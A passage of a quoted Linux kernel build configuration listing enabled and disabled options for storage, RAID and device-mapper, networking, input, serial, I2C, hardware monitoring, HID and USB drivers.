not set > # CONFIG_SENSORS_APDS990X is not set > # CONFIG_HMC6352 is not set > # CONFIG_DS1682 is not set > # CONFIG_BMP085_I2C is not set > # CONFIG_PCH_PHUB is not set > # CONFIG_USB_SWITCH_FSA9480 is not set > # CONFIG_SRAM is not set > # CONFIG_C2PORT is not set > > # > # EEPROM support > # > # CONFIG_EEPROM_AT24 is not set > # CONFIG_EEPROM_LEGACY is not set > # CONFIG_EEPROM_MAX6875 is not set > # CONFIG_EEPROM_93CX6 is not set > # CONFIG_CB710_CORE is not set > > # > # Texas Instruments shared transport line discipline > # > # CONFIG_SENSORS_LIS3_I2C is not set > > # > # Altera FPGA firmware download module > # > # CONFIG_ALTERA_STAPL is not set > # CONFIG_VMWARE_VMCI is not set > CONFIG_HAVE_IDE=y > # CONFIG_IDE is not set > > # > # SCSI device support > # > CONFIG_SCSI_MOD=m > # CONFIG_RAID_ATTRS is not set > CONFIG_SCSI=m > CONFIG_SCSI_DMA=y > # CONFIG_SCSI_TGT is not set > # CONFIG_SCSI_NETLINK is not set > # CONFIG_SCSI_PROC_FS is not set > > # > # SCSI support type (disk, tape, CD-ROM) > # > CONFIG_BLK_DEV_SD=m > # CONFIG_CHR_DEV_ST is not set > # CONFIG_CHR_DEV_OSST is not set > # CONFIG_BLK_DEV_SR is not set > # CONFIG_CHR_DEV_SG is not set > # CONFIG_CHR_DEV_SCH is not set > # CONFIG_SCSI_MULTI_LUN is not set > CONFIG_SCSI_CONSTANTS=y > # CONFIG_SCSI_LOGGING is not set > # CONFIG_SCSI_SCAN_ASYNC is not set > > # > # SCSI Transports > # > # CONFIG_SCSI_SPI_ATTRS is not set > # CONFIG_SCSI_FC_ATTRS is not set > # CONFIG_SCSI_ISCSI_ATTRS is not set > # CONFIG_SCSI_SAS_ATTRS is not set > # CONFIG_SCSI_SAS_LIBSAS is not set > # CONFIG_SCSI_SRP_ATTRS is not set > # CONFIG_SCSI_LOWLEVEL is not set > # CONFIG_SCSI_DH is not set > # CONFIG_SCSI_OSD_INITIATOR is not set > CONFIG_ATA=m > # CONFIG_ATA_NONSTANDARD is not set > CONFIG_ATA_VERBOSE_ERROR=y > CONFIG_ATA_ACPI=y > # CONFIG_SATA_ZPODD is not set > CONFIG_SATA_PMP=y > > # > # Controllers with non-SFF native interface > # > CONFIG_SATA_AHCI=m > # CONFIG_SATA_AHCI_PLATFORM is not set > # CONFIG_SATA_INIC162X is not set > # CONFIG_SATA_ACARD_AHCI is not set > CONFIG_SATA_SIL24=m > CONFIG_ATA_SFF=y > > # > # SFF controllers with custom DMA interface > # > # CONFIG_PDC_ADMA is not set > # CONFIG_SATA_QSTOR is not set > # CONFIG_SATA_SX4 is not set > CONFIG_ATA_BMDMA=y > > # > # SATA SFF controllers with BMDMA > # > CONFIG_ATA_PIIX=m > # CONFIG_SATA_HIGHBANK is not set > CONFIG_SATA_MV=m > # CONFIG_SATA_NV is not set > # CONFIG_SATA_PROMISE is not set > # CONFIG_SATA_SIL is not set > # CONFIG_SATA_SIS is not set > # CONFIG_SATA_SVW is not set > # CONFIG_SATA_ULI is not set > # CONFIG_SATA_VIA is not set > # CONFIG_SATA_VITESSE is not set > > # > # PATA SFF controllers with BMDMA > # > # CONFIG_PATA_ALI is not set > # CONFIG_PATA_AMD is not set > # CONFIG_PATA_ARTOP is not set > # CONFIG_PATA_ATIIXP is not set > # CONFIG_PATA_ATP867X is not set > # CONFIG_PATA_CMD64X is not set > # CONFIG_PATA_CS5520 is not set > # CONFIG_PATA_CS5530 is not set > # CONFIG_PATA_CS5536 is not set > # CONFIG_PATA_CYPRESS is not set > # CONFIG_PATA_EFAR is not set > # CONFIG_PATA_HPT366 is not set > # CONFIG_PATA_HPT37X is not set > # CONFIG_PATA_HPT3X2N is not set > # CONFIG_PATA_HPT3X3 is not set > # CONFIG_PATA_IT8213 is not set > # CONFIG_PATA_IT821X is not set > # CONFIG_PATA_JMICRON is not set > CONFIG_PATA_MARVELL=m > # CONFIG_PATA_NETCELL is not set > # CONFIG_PATA_NINJA32 is not set > # CONFIG_PATA_NS87415 is not set > # CONFIG_PATA_OLDPIIX is not set > # CONFIG_PATA_OPTIDMA is not set > # CONFIG_PATA_PDC2027X is not set > # CONFIG_PATA_PDC_OLD is not set > # CONFIG_PATA_RADISYS is not set > # CONFIG_PATA_RDC is not set > # CONFIG_PATA_SC1200 is not set > # CONFIG_PATA_SCH is not set > # CONFIG_PATA_SERVERWORKS is not set > # CONFIG_PATA_SIL680 is not set > # CONFIG_PATA_SIS is not set > # CONFIG_PATA_TOSHIBA is not set > # CONFIG_PATA_TRIFLEX is not set > # CONFIG_PATA_VIA is not set > # CONFIG_PATA_WINBOND is not set > > # > # PIO-only SFF controllers > # > # CONFIG_PATA_CMD640_PCI is not set > # CONFIG_PATA_MPIIX is not set > # CONFIG_PATA_NS87410 is not set > # CONFIG_PATA_OPTI is not set > # CONFIG_PATA_RZ1000 is not set > > # > # Generic fallback / legacy drivers > # > # CONFIG_PATA_ACPI is not set > # CONFIG_ATA_GENERIC is not set > # CONFIG_PATA_LEGACY is not set > CONFIG_MD=y > CONFIG_BLK_DEV_MD=m > CONFIG_MD_LINEAR=m > CONFIG_MD_RAID0=m > CONFIG_MD_RAID1=m > CONFIG_MD_RAID10=m > CONFIG_MD_RAID456=m > CONFIG_MD_MULTIPATH=m > CONFIG_MD_FAULTY=m > CONFIG_BCACHE=m > # CONFIG_BCACHE_DEBUG is not set > # CONFIG_BCACHE_EDEBUG is not set > # CONFIG_BCACHE_CLOSURES_DEBUG is not set > CONFIG_BLK_DEV_DM=y > CONFIG_DM_DEBUG=y > CONFIG_DM_BUFIO=m > CONFIG_DM_BIO_PRISON=m > CONFIG_DM_PERSISTENT_DATA=m > CONFIG_DM_CRYPT=m > CONFIG_DM_SNAPSHOT=m > CONFIG_DM_THIN_PROVISIONING=m > # CONFIG_DM_DEBUG_BLOCK_STACK_TRACING is not set > CONFIG_DM_CACHE=m > CONFIG_DM_CACHE_MQ=m > CONFIG_DM_CACHE_CLEANER=m > CONFIG_DM_MIRROR=m > CONFIG_DM_RAID=m > CONFIG_DM_LOG_USERSPACE=m > CONFIG_DM_ZERO=m > # CONFIG_DM_MULTIPATH is not set > # CONFIG_DM_DELAY is not set > CONFIG_DM_UEVENT=y > # CONFIG_DM_FLAKEY is not set > # CONFIG_DM_VERITY is not set > # CONFIG_TARGET_CORE is not set > # CONFIG_FUSION is not set > > # > # IEEE 1394 (FireWire) support > # > # CONFIG_FIREWIRE is not set > # CONFIG_FIREWIRE_NOSY is not set > # CONFIG_I2O is not set > # CONFIG_MACINTOSH_DRIVERS is not set > CONFIG_NETDEVICES=y > CONFIG_NET_CORE=y > CONFIG_BONDING=m > # CONFIG_DUMMY is not set > # CONFIG_EQUALIZER is not set > # CONFIG_NET_FC is not set > CONFIG_MII=m > # CONFIG_IFB is not set > # CONFIG_NET_TEAM is not set > CONFIG_MACVLAN=m > CONFIG_MACVTAP=m > # CONFIG_VXLAN is not set > CONFIG_NETCONSOLE=m > CONFIG_NETCONSOLE_DYNAMIC=y > CONFIG_NETPOLL=y > # CONFIG_NETPOLL_TRAP is not set > CONFIG_NET_POLL_CONTROLLER=y > CONFIG_TUN=m > CONFIG_VETH=m > # CONFIG_ARCNET is not set > > # > # CAIF transport drivers > # > CONFIG_VHOST_NET=m > CONFIG_VHOST_RING=m > > # > # Distributed Switch Architecture drivers > # > # CONFIG_NET_DSA_MV88E6XXX is not set > # CONFIG_NET_DSA_MV88E6060 is not set > # CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set > # CONFIG_NET_DSA_MV88E6131 is not set > # CONFIG_NET_DSA_MV88E6123_61_65 is not set > CONFIG_ETHERNET=y > # CONFIG_NET_VENDOR_3COM is not set > # CONFIG_NET_VENDOR_ADAPTEC is not set > # CONFIG_NET_VENDOR_ALTEON is not set > # CONFIG_NET_VENDOR_AMD is not set > # CONFIG_NET_VENDOR_ATHEROS is not set > # CONFIG_NET_CADENCE is not set > # CONFIG_NET_VENDOR_BROADCOM is not set > # CONFIG_NET_VENDOR_BROCADE is not set > # CONFIG_NET_CALXEDA_XGMAC is not set > # CONFIG_NET_VENDOR_CHELSIO is not set > # CONFIG_NET_VENDOR_CISCO is not set > # CONFIG_DNET is not set > # CONFIG_NET_VENDOR_DEC is not set > # CONFIG_NET_VENDOR_DLINK is not set > # CONFIG_NET_VENDOR_EMULEX is not set > # CONFIG_NET_VENDOR_EXAR is not set > # CONFIG_NET_VENDOR_HP is not set > CONFIG_NET_VENDOR_INTEL=y > # CONFIG_E100 is not set > CONFIG_E1000=m > CONFIG_E1000E=m > # CONFIG_IGB is not set > # CONFIG_IGBVF is not set > # CONFIG_IXGB is not set > # CONFIG_IXGBE is not set > # CONFIG_IXGBEVF is not set > # CONFIG_NET_VENDOR_I825XX is not set > # CONFIG_IP1000 is not set > # CONFIG_JME is not set > # CONFIG_NET_VENDOR_MARVELL is not set > # CONFIG_NET_VENDOR_MELLANOX is not set > # CONFIG_NET_VENDOR_MICREL is not set > # CONFIG_NET_VENDOR_MYRI is not set > # CONFIG_FEALNX is not set > # CONFIG_NET_VENDOR_NATSEMI is not set > # CONFIG_NET_VENDOR_NVIDIA is not set > # CONFIG_NET_VENDOR_OKI is not set > # CONFIG_ETHOC is not set > # CONFIG_NET_PACKET_ENGINE is not set > # CONFIG_NET_VENDOR_QLOGIC is not set > CONFIG_NET_VENDOR_REALTEK=y > # CONFIG_8139CP is not set > # CONFIG_8139TOO is not set > CONFIG_R8169=m > # CONFIG_NET_VENDOR_RDC is not set > # CONFIG_NET_VENDOR_SEEQ is not set > # CONFIG_NET_VENDOR_SILAN is not set > # CONFIG_NET_VENDOR_SIS is not set > # CONFIG_SFC is not set > # CONFIG_NET_VENDOR_SMSC is not set > # CONFIG_NET_VENDOR_STMICRO is not set > # CONFIG_NET_VENDOR_SUN is not set > # CONFIG_NET_VENDOR_TEHUTI is not set > # CONFIG_NET_VENDOR_TI is not set > # CONFIG_NET_VENDOR_VIA is not set > # CONFIG_NET_VENDOR_WIZNET is not set > # CONFIG_FDDI is not set > # CONFIG_HIPPI is not set > # CONFIG_NET_SB1000 is not set > # CONFIG_PHYLIB is not set > CONFIG_PPP=m > CONFIG_PPP_BSDCOMP=m > CONFIG_PPP_DEFLATE=m > CONFIG_PPP_FILTER=y > CONFIG_PPP_MPPE=m > CONFIG_PPP_MULTILINK=y > CONFIG_PPPOE=m > CONFIG_PPP_ASYNC=m > CONFIG_PPP_SYNC_TTY=m > # CONFIG_SLIP is not set > CONFIG_SLHC=m > > # > # USB Network Adapters > # > # CONFIG_USB_CATC is not set > # CONFIG_USB_KAWETH is not set > # CONFIG_USB_PEGASUS is not set > # CONFIG_USB_RTL8150 is not set > # CONFIG_USB_RTL8152 is not set > # CONFIG_USB_USBNET is not set > # CONFIG_USB_IPHETH is not set > # CONFIG_WLAN is not set > > # > # Enable WiMAX (Networking options) to see the WiMAX drivers > # > # CONFIG_WAN is not set > # CONFIG_VMXNET3 is not set > # CONFIG_ISDN is not set > > # > # Input device support > # > CONFIG_INPUT=y > # CONFIG_INPUT_FF_MEMLESS is not set > # CONFIG_INPUT_POLLDEV is not set > # CONFIG_INPUT_SPARSEKMAP is not set > # CONFIG_INPUT_MATRIXKMAP is not set > > # > # Userland interfaces > # > CONFIG_INPUT_MOUSEDEV=y > # CONFIG_INPUT_MOUSEDEV_PSAUX is not set > CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 > CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 > # CONFIG_INPUT_JOYDEV is not set > CONFIG_INPUT_EVDEV=m > # CONFIG_INPUT_EVBUG is not set > > # > # Input Device Drivers > # > CONFIG_INPUT_KEYBOARD=y > # CONFIG_KEYBOARD_ADP5588 is not set > # CONFIG_KEYBOARD_ADP5589 is not set > CONFIG_KEYBOARD_ATKBD=y > # CONFIG_KEYBOARD_QT1070 is not set > # CONFIG_KEYBOARD_QT2160 is not set > # CONFIG_KEYBOARD_LKKBD is not set > # CONFIG_KEYBOARD_TCA6416 is not set > # CONFIG_KEYBOARD_TCA8418 is not set > # CONFIG_KEYBOARD_LM8333 is not set > # CONFIG_KEYBOARD_MAX7359 is not set > # CONFIG_KEYBOARD_MCS is not set > # CONFIG_KEYBOARD_MPR121 is not set > # CONFIG_KEYBOARD_NEWTON is not set > # CONFIG_KEYBOARD_OPENCORES is not set > # CONFIG_KEYBOARD_STOWAWAY is not set > # CONFIG_KEYBOARD_SUNKBD is not set > # CONFIG_KEYBOARD_XTKBD is not set > # CONFIG_INPUT_MOUSE is not set > # CONFIG_INPUT_JOYSTICK is not set > # CONFIG_INPUT_TABLET is not set > # CONFIG_INPUT_TOUCHSCREEN is not set > # CONFIG_INPUT_MISC is not set > > # > # Hardware I/O ports > # > CONFIG_SERIO=y > CONFIG_SERIO_I8042=y > # CONFIG_SERIO_SERPORT is not set > # CONFIG_SERIO_CT82C710 is not set > # CONFIG_SERIO_PCIPS2 is not set > CONFIG_SERIO_LIBPS2=y > # CONFIG_SERIO_RAW is not set > # CONFIG_SERIO_ALTERA_PS2 is not set > # CONFIG_SERIO_PS2MULT is not set > # CONFIG_SERIO_ARC_PS2 is not set > # CONFIG_GAMEPORT is not set > > # > # Character devices > # > CONFIG_TTY=y > CONFIG_VT=y > CONFIG_CONSOLE_TRANSLATIONS=y > CONFIG_VT_CONSOLE=y > CONFIG_HW_CONSOLE=y > # CONFIG_VT_HW_CONSOLE_BINDING is not set > CONFIG_UNIX98_PTYS=y > CONFIG_DEVPTS_MULTIPLE_INSTANCES=y > # CONFIG_LEGACY_PTYS is not set > # CONFIG_SERIAL_NONSTANDARD is not set > # CONFIG_NOZOMI is not set > # CONFIG_N_GSM is not set > # CONFIG_TRACE_SINK is not set > # CONFIG_DEVKMEM is not set > > # > # Serial drivers > # > CONFIG_SERIAL_8250=y > # CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set > CONFIG_SERIAL_8250_PNP=y > CONFIG_SERIAL_8250_CONSOLE=y > CONFIG_FIX_EARLYCON_MEM=y > CONFIG_SERIAL_8250_PCI=y > CONFIG_SERIAL_8250_NR_UARTS=4 > CONFIG_SERIAL_8250_RUNTIME_UARTS=4 > # CONFIG_SERIAL_8250_EXTENDED is not set > # CONFIG_SERIAL_8250_DW is not set > > # > # Non-8250 serial port support > # > # CONFIG_SERIAL_MFD_HSU is not set > CONFIG_SERIAL_CORE=y > CONFIG_SERIAL_CORE_CONSOLE=y > # CONFIG_SERIAL_JSM is not set > # CONFIG_SERIAL_SCCNXP is not set > # CONFIG_SERIAL_TIMBERDALE is not set > # CONFIG_SERIAL_ALTERA_JTAGUART is not set > # CONFIG_SERIAL_ALTERA_UART is not set > # CONFIG_SERIAL_PCH_UART is not set > # CONFIG_SERIAL_ARC is not set > # CONFIG_SERIAL_RP2 is not set > # CONFIG_IPMI_HANDLER is not set > # CONFIG_HW_RANDOM is not set > # CONFIG_NVRAM is not set > # CONFIG_R3964 is not set > # CONFIG_APPLICOM is not set > # CONFIG_MWAVE is not set > # CONFIG_RAW_DRIVER is not set > CONFIG_HPET=y > # CONFIG_HPET_MMAP is not set > # CONFIG_HANGCHECK_TIMER is not set > # CONFIG_TCG_TPM is not set > # CONFIG_TELCLOCK is not set > CONFIG_DEVPORT=y > CONFIG_I2C=m > CONFIG_I2C_BOARDINFO=y > # CONFIG_I2C_COMPAT is not set > CONFIG_I2C_CHARDEV=m > # CONFIG_I2C_MUX is not set > CONFIG_I2C_HELPER_AUTO=y > > # > # I2C Hardware Bus support > # > > # > # PC SMBus host controller drivers > # > # CONFIG_I2C_ALI1535 is not set > # CONFIG_I2C_ALI1563 is not set > # CONFIG_I2C_ALI15X3 is not set > # CONFIG_I2C_AMD756 is not set > # CONFIG_I2C_AMD8111 is not set > CONFIG_I2C_I801=m > CONFIG_I2C_ISCH=m > # CONFIG_I2C_ISMT is not set > CONFIG_I2C_PIIX4=m > # CONFIG_I2C_NFORCE2 is not set > # CONFIG_I2C_SIS5595 is not set > # CONFIG_I2C_SIS630 is not set > # CONFIG_I2C_SIS96X is not set > # CONFIG_I2C_VIA is not set > # CONFIG_I2C_VIAPRO is not set > > # > # ACPI drivers > # > # CONFIG_I2C_SCMI is not set > > # > # I2C system bus drivers (mostly embedded / system-on-chip) > # > # CONFIG_I2C_DESIGNWARE_PCI is not set > # CONFIG_I2C_EG20T is not set > # CONFIG_I2C_INTEL_MID is not set > # CONFIG_I2C_OCORES is not set > # CONFIG_I2C_PCA_PLATFORM is not set > # CONFIG_I2C_PXA_PCI is not set > # CONFIG_I2C_SIMTEC is not set > # CONFIG_I2C_XILINX is not set > > # > # External I2C/SMBus adapter drivers > # > # CONFIG_I2C_DIOLAN_U2C is not set > # CONFIG_I2C_PARPORT_LIGHT is not set > # CONFIG_I2C_TAOS_EVM is not set > # CONFIG_I2C_TINY_USB is not set > > # > # Other I2C/SMBus bus drivers > # > # CONFIG_I2C_STUB is not set > # CONFIG_I2C_DEBUG_CORE is not set > # CONFIG_I2C_DEBUG_ALGO is not set > # CONFIG_I2C_DEBUG_BUS is not set > # CONFIG_SPI is not set > > # > # Qualcomm MSM SSBI bus support > # > # CONFIG_SSBI is not set > # CONFIG_HSI is not set > > # > # PPS support > # > CONFIG_PPS=m > # CONFIG_PPS_DEBUG is not set > > # > # PPS clients support > # > # CONFIG_PPS_CLIENT_KTIMER is not set > # CONFIG_PPS_CLIENT_LDISC is not set > # CONFIG_PPS_CLIENT_GPIO is not set > > # > # PPS generators support > # > > # > # PTP clock support > # > CONFIG_PTP_1588_CLOCK=m > > # > # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. > # > # CONFIG_PTP_1588_CLOCK_PCH is not set > CONFIG_ARCH_WANT_OPTIONAL_GPIOLIB=y > CONFIG_GPIO_DEVRES=y > # CONFIG_GPIOLIB is not set > # CONFIG_W1 is not set > # CONFIG_POWER_SUPPLY is not set > # CONFIG_POWER_AVS is not set > CONFIG_HWMON=m > CONFIG_HWMON_VID=m > # CONFIG_HWMON_DEBUG_CHIP is not set > > # > # Native drivers > # > # CONFIG_SENSORS_ABITUGURU is not set > # CONFIG_SENSORS_ABITUGURU3 is not set > # CONFIG_SENSORS_AD7414 is not set > # CONFIG_SENSORS_AD7418 is not set > # CONFIG_SENSORS_ADM1021 is not set > # CONFIG_SENSORS_ADM1025 is not set > # CONFIG_SENSORS_ADM1026 is not set > # CONFIG_SENSORS_ADM1029 is not set > # CONFIG_SENSORS_ADM1031 is not set > # CONFIG_SENSORS_ADM9240 is not set > # CONFIG_SENSORS_ADT7410 is not set > # CONFIG_SENSORS_ADT7411 is not set > # CONFIG_SENSORS_ADT7462 is not set > # CONFIG_SENSORS_ADT7470 is not set > # CONFIG_SENSORS_ADT7475 is not set > # CONFIG_SENSORS_ASC7621 is not set > # CONFIG_SENSORS_K8TEMP is not set > # CONFIG_SENSORS_K10TEMP is not set > # CONFIG_SENSORS_FAM15H_POWER is not set > # CONFIG_SENSORS_ASB100 is not set > # CONFIG_SENSORS_ATXP1 is not set > # CONFIG_SENSORS_DS620 is not set > # CONFIG_SENSORS_DS1621 is not set > # CONFIG_SENSORS_I5K_AMB is not set > # CONFIG_SENSORS_F71805F is not set > # CONFIG_SENSORS_F71882FG is not set > # CONFIG_SENSORS_F75375S is not set > # CONFIG_SENSORS_FSCHMD is not set > # CONFIG_SENSORS_G760A is not set > # CONFIG_SENSORS_GL518SM is not set > # CONFIG_SENSORS_GL520SM is not set > # CONFIG_SENSORS_HIH6130 is not set > CONFIG_SENSORS_CORETEMP=m > CONFIG_SENSORS_IT87=m > # CONFIG_SENSORS_JC42 is not set > # CONFIG_SENSORS_LINEAGE is not set > # CONFIG_SENSORS_LM63 is not set > # CONFIG_SENSORS_LM73 is not set > # CONFIG_SENSORS_LM75 is not set > # CONFIG_SENSORS_LM77 is not set > # CONFIG_SENSORS_LM78 is not set > # CONFIG_SENSORS_LM80 is not set > # CONFIG_SENSORS_LM83 is not set > # CONFIG_SENSORS_LM85 is not set > # CONFIG_SENSORS_LM87 is not set > # CONFIG_SENSORS_LM90 is not set > # CONFIG_SENSORS_LM92 is not set > # CONFIG_SENSORS_LM93 is not set > # CONFIG_SENSORS_LTC4151 is not set > # CONFIG_SENSORS_LTC4215 is not set > # CONFIG_SENSORS_LTC4245 is not set > # CONFIG_SENSORS_LTC4261 is not set > # CONFIG_SENSORS_LM95234 is not set > # CONFIG_SENSORS_LM95241 is not set > # CONFIG_SENSORS_LM95245 is not set > # CONFIG_SENSORS_MAX16065 is not set > # CONFIG_SENSORS_MAX1619 is not set > # CONFIG_SENSORS_MAX1668 is not set > # CONFIG_SENSORS_MAX197 is not set > # CONFIG_SENSORS_MAX6639 is not set > # CONFIG_SENSORS_MAX6642 is not set > # CONFIG_SENSORS_MAX6650 is not set > # CONFIG_SENSORS_MAX6697 is not set > # CONFIG_SENSORS_MCP3021 is not set > # CONFIG_SENSORS_NCT6775 is not set > # CONFIG_SENSORS_NTC_THERMISTOR is not set > # CONFIG_SENSORS_PC87360 is not set > # CONFIG_SENSORS_PC87427 is not set > # CONFIG_SENSORS_PCF8591 is not set > # CONFIG_PMBUS is not set > # CONFIG_SENSORS_SHT21 is not set > # CONFIG_SENSORS_SIS5595 is not set > # CONFIG_SENSORS_SMM665 is not set > # CONFIG_SENSORS_DME1737 is not set > # CONFIG_SENSORS_EMC1403 is not set > # CONFIG_SENSORS_EMC2103 is not set > # CONFIG_SENSORS_EMC6W201 is not set > # CONFIG_SENSORS_SMSC47M1 is not set > # CONFIG_SENSORS_SMSC47M192 is not set > # CONFIG_SENSORS_SMSC47B397 is not set > # CONFIG_SENSORS_SCH56XX_COMMON is not set > # CONFIG_SENSORS_ADS1015 is not set > # CONFIG_SENSORS_ADS7828 is not set > # CONFIG_SENSORS_AMC6821 is not set > # CONFIG_SENSORS_INA209 is not set > # CONFIG_SENSORS_INA2XX is not set > # CONFIG_SENSORS_THMC50 is not set > # CONFIG_SENSORS_TMP102 is not set > # CONFIG_SENSORS_TMP401 is not set > # CONFIG_SENSORS_TMP421 is not set > # CONFIG_SENSORS_VIA_CPUTEMP is not set > # CONFIG_SENSORS_VIA686A is not set > # CONFIG_SENSORS_VT1211 is not set > # CONFIG_SENSORS_VT8231 is not set > # CONFIG_SENSORS_W83781D is not set > # CONFIG_SENSORS_W83791D is not set > # CONFIG_SENSORS_W83792D is not set > # CONFIG_SENSORS_W83793 is not set > # CONFIG_SENSORS_W83795 is not set > # CONFIG_SENSORS_W83L785TS is not set > # CONFIG_SENSORS_W83L786NG is not set > # CONFIG_SENSORS_W83627HF is not set > # CONFIG_SENSORS_W83627EHF is not set > # CONFIG_SENSORS_APPLESMC is not set > > # > # ACPI drivers > # > # CONFIG_SENSORS_ACPI_POWER is not set > CONFIG_SENSORS_ATK0110=m > CONFIG_THERMAL=m > CONFIG_THERMAL_HWMON=y > CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y > # CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set > # CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set > CONFIG_THERMAL_GOV_FAIR_SHARE=y > CONFIG_THERMAL_GOV_STEP_WISE=y > # CONFIG_THERMAL_GOV_USER_SPACE is not set > # CONFIG_CPU_THERMAL is not set > # CONFIG_THERMAL_EMULATION is not set > CONFIG_INTEL_POWERCLAMP=m > # CONFIG_WATCHDOG is not set > CONFIG_SSB_POSSIBLE=y > > # > # Sonics Silicon Backplane > # > # CONFIG_SSB is not set > CONFIG_BCMA_POSSIBLE=y > > # > # Broadcom specific AMBA > # > # CONFIG_BCMA is not set > > # > # Multifunction device drivers > # > CONFIG_MFD_CORE=m > # CONFIG_MFD_CS5535 is not set > # CONFIG_MFD_CROS_EC is not set > # CONFIG_MFD_MC13XXX_I2C is not set > # CONFIG_HTC_PASIC3 is not set > CONFIG_LPC_ICH=m > CONFIG_LPC_SCH=m > # CONFIG_MFD_JANZ_CMODIO is not set > # CONFIG_MFD_VIPERBOARD is not set > # CONFIG_MFD_RETU is not set > # CONFIG_MFD_PCF50633 is not set > # CONFIG_MFD_RDC321X is not set > # CONFIG_MFD_RTSX_PCI is not set > # CONFIG_MFD_SI476X_CORE is not set > # CONFIG_MFD_SM501 is not set > # CONFIG_ABX500_CORE is not set > # CONFIG_MFD_SYSCON is not set > # CONFIG_MFD_TI_AM335X_TSCADC is not set > # CONFIG_TPS6105X is not set > # CONFIG_TPS6507X is not set > # CONFIG_MFD_TPS65217 is not set > # CONFIG_MFD_WL1273_CORE is not set > # CONFIG_MFD_LM3533 is not set > # CONFIG_MFD_TMIO is not set > # CONFIG_MFD_VX855 is not set > # CONFIG_MFD_ARIZONA_I2C is not set > # CONFIG_REGULATOR is not set > # CONFIG_MEDIA_SUPPORT is not set > > # > # Graphics support > # > # CONFIG_AGP is not set > CONFIG_VGA_ARB=y > CONFIG_VGA_ARB_MAX_GPUS=1 > # CONFIG_VGA_SWITCHEROO is not set > # CONFIG_DRM is not set > # CONFIG_VGASTATE is not set > # CONFIG_VIDEO_OUTPUT_CONTROL is not set > # CONFIG_FB is not set > # CONFIG_EXYNOS_VIDEO is not set > # CONFIG_BACKLIGHT_LCD_SUPPORT is not set > > # > # Console display driver support > # > CONFIG_VGA_CONSOLE=y > CONFIG_VGACON_SOFT_SCROLLBACK=y > CONFIG_VGACON_SOFT_SCROLLBACK_SIZE=256 > CONFIG_DUMMY_CONSOLE=y > # CONFIG_SOUND is not set > > # > # HID support > # > CONFIG_HID=m > # CONFIG_HIDRAW is not set > # CONFIG_UHID is not set > CONFIG_HID_GENERIC=m > > # > # Special HID drivers > # > CONFIG_HID_A4TECH=m > # CONFIG_HID_ACRUX is not set > CONFIG_HID_APPLE=m > # CONFIG_HID_APPLEIR is not set > # CONFIG_HID_AUREAL is not set > CONFIG_HID_BELKIN=m > CONFIG_HID_CHERRY=m > CONFIG_HID_CHICONY=m > CONFIG_HID_CYPRESS=m > # CONFIG_HID_DRAGONRISE is not set > # CONFIG_HID_EMS_FF is not set > # CONFIG_HID_ELECOM is not set > CONFIG_HID_EZKEY=m > # CONFIG_HID_HOLTEK is not set > # CONFIG_HID_KEYTOUCH is not set > # CONFIG_HID_KYE is not set > # CONFIG_HID_UCLOGIC is not set > # CONFIG_HID_WALTOP is not set > # CONFIG_HID_GYRATION is not set > # CONFIG_HID_ICADE is not set > # CONFIG_HID_TWINHAN is not set > CONFIG_HID_KENSINGTON=m > # CONFIG_HID_LCPOWER is not set > # CONFIG_HID_LENOVO_TPKBD is not set > CONFIG_HID_LOGITECH=m > # CONFIG_HID_LOGITECH_DJ is not set > # CONFIG_LOGITECH_FF is not set > # CONFIG_LOGIRUMBLEPAD2_FF is not set > # CONFIG_LOGIG940_FF is not set > # CONFIG_LOGIWHEELS_FF is not set > # CONFIG_HID_MAGICMOUSE is not set > CONFIG_HID_MICROSOFT=m > CONFIG_HID_MONTEREY=m > # CONFIG_HID_MULTITOUCH is not set > # CONFIG_HID_NTRIG is not set > # CONFIG_HID_ORTEK is not set > # CONFIG_HID_PANTHERLORD is not set > # CONFIG_HID_PETALYNX is not set > # CONFIG_HID_PICOLCD is not set > # CONFIG_HID_PRIMAX is not set > # CONFIG_HID_PS3REMOTE is not set > # CONFIG_HID_ROCCAT is not set > # CONFIG_HID_SAITEK is not set > # CONFIG_HID_SAMSUNG is not set > # CONFIG_HID_SONY is not set > # CONFIG_HID_SPEEDLINK is not set > # CONFIG_HID_STEELSERIES is not set > # CONFIG_HID_SUNPLUS is not set > # CONFIG_HID_GREENASIA is not set > # CONFIG_HID_SMARTJOYPLUS is not set > # CONFIG_HID_TIVO is not set > # CONFIG_HID_TOPSEED is not set > # CONFIG_HID_THRUSTMASTER is not set > # CONFIG_HID_ZEROPLUS is not set > # CONFIG_HID_ZYDACRON is not set > # CONFIG_HID_SENSOR_HUB is not set > > # > # USB HID support > # > CONFIG_USB_HID=m > # CONFIG_HID_PID is not set > # CONFIG_USB_HIDDEV is not set > > # > # I2C HID support > # > # CONFIG_I2C_HID is not set > CONFIG_USB_ARCH_HAS_OHCI=y > CONFIG_USB_ARCH_HAS_EHCI=y > CONFIG_USB_ARCH_HAS_XHCI=y > CONFIG_USB_SUPPORT=y > CONFIG_USB_COMMON=m > CONFIG_USB_ARCH_HAS_HCD=y > CONFIG_USB=m > # CONFIG_USB_DEBUG is not set > # CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set > > # > # Miscellaneous USB options > # > CONFIG_USB_DEFAULT_PERSIST=y > # CONFIG_USB_DYNAMIC_MINORS is not set > # CONFIG_USB_MON is not set > # CONFIG_USB_WUSB_CBAF is not set > > # > # USB Host Controller Drivers > # > # CONFIG_USB_C67X00_HCD is not set > CONFIG_USB_XHCI_HCD=m > # CONFIG_USB_XHCI_HCD_DEBUGGING is not set > CONFIG_USB_EHCI_HCD=m > # CONFIG_USB_EHCI_ROOT_HUB_TT is not set > # CONFIG_USB_EHCI_TT_NEWSCHED is not set > CONFIG_USB_EHCI_PCI=m > # CONFIG_USB_EHCI_HCD_PLATFORM is not set > # CONFIG_USB_OXU210HP_HCD is not set > # CONFIG_USB_ISP116X_HCD is not set > # CONFIG_USB_ISP1760_HCD is not set > # CONFIG_USB_ISP1362_HCD is not set > CONFIG_USB_OHCI_HCD=m > # CONFIG_USB_OHCI_HCD_PLATFORM is not set > # CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set > # CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set > CONFIG_USB_OHCI_LITTLE_ENDIAN=y > CONFIG_USB_UHCI_HCD=m > # 